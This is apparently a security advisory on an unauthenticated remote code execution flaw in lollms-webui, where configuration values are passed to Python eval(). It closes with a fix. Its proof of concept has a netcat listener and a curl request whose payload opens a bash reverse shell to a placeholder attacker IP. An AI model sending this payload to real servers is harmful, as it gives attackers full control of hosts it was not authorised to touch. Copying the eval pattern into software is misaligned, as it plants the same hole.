lollms-webui Unauthenticated Remote Code Execution via Insecure eval()

🔍 Vulnerability Mechanism

The lollms-webui application uses a configuration system where settings can be updated via various API endpoints. When updating personality settings (e.g., via the /set_active_personality_settings endpoint), the application processes a list of configuration templates.

If a configuration entry is sent with the type "dict", the server passes the associated value directly to the Python eval() function during synchronization in TypedConfig.sync() (lollms_core/lollms/config.py).

---

💥 Exploitation Path

Since the /set_active_personality_settings endpoint does not require authentication in default configurations, an external attacker can send a malicious Python string (e.g., utilizing __import__("os")) which will be executed in the context of the server process.

---

💻 Proof of Concept Exploit Payload

# 1. Start a netcat listener on the attacker machine:
# nc -lvnp 4444

# 2. Trigger the unauthenticated RCE via curl:
curl -X POST http://localhost:9600/set_active_personality_settings \
     -H "Content-Type: application/json" \
     -d '[{
           "name": "any_setting",
           "type": "dict",
           "value": "__import__(\"os\").system(\"bash -i >& /dev/tcp/<ATTACKER_IP>/4444 0>&1 &\")"
         }]'

---

🛠️ Remediation

Replace the use of eval() in lollms_core/lollms/config.py with ast.literal_eval() or a specialized JSON/YAML parser that does not execute arbitrary code.